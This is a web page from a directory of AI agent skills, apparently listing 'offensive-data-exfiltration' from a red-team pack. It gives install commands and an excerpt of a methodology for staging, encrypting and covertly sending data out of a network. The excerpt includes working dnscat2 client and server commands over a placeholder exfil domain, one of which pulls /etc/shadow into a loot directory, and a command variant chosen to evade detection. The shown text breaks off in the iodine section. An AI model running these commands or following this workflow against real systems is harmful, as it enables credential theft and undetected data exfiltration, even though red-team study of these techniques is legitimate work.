Skills for Real Engineers. Straight from my .agents directory.
39 skills
offensive-data-exfiltration
Agent skill from
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engageme
How to install offensive-data-exfiltration
install offensive-data-exfiltration
# install the Claude-Red pack with the skills CLI
npx skills add SnailSploit/Claude-Red# or add only this skill to Claude Code: copy the folder
Skills/post-exploitation/offensive-data-exfiltration/
# into
~/.claude/skills/offensive-data-exfiltration/ (all projects)
.claude/skills/offensive-data-exfiltration/ (one project)
1# Data Exfiltration -- Offensive Methodology23## Quick Workflow451. **Inventory target data.** Map files, databases, credentials. Assess volume and classification.62. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate.73. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).84. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.95. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).106. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.117. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest.128. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks.1314---1516## DNS Exfiltration1718MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS1920### dnscat22122```bash23# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first24ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret2526# Client on target27./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret2829# Server console -- file transfer30session -i 131download /etc/shadow /tmp/loot/shadow32```3334```bash35# Force CNAME queries to avoid TXT-based detection36./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret37```3839### iodine Tunneling4041```bash42# Server (authoritative NS)43…
Excerpt shown under the repository's MIT license.
More skills in Claude-Red
Keep exploring
Similar skill repositories
An agentic skills framework & software development methodology that works.
15 skills
Public repository for Agent Skills
20 skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
CCCU6 skills
An AI skill that provides design intelligence for building professional UI/UX across multiple platforms.
CCCXCUGH6 skills
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
CCCXGHGM+135 skills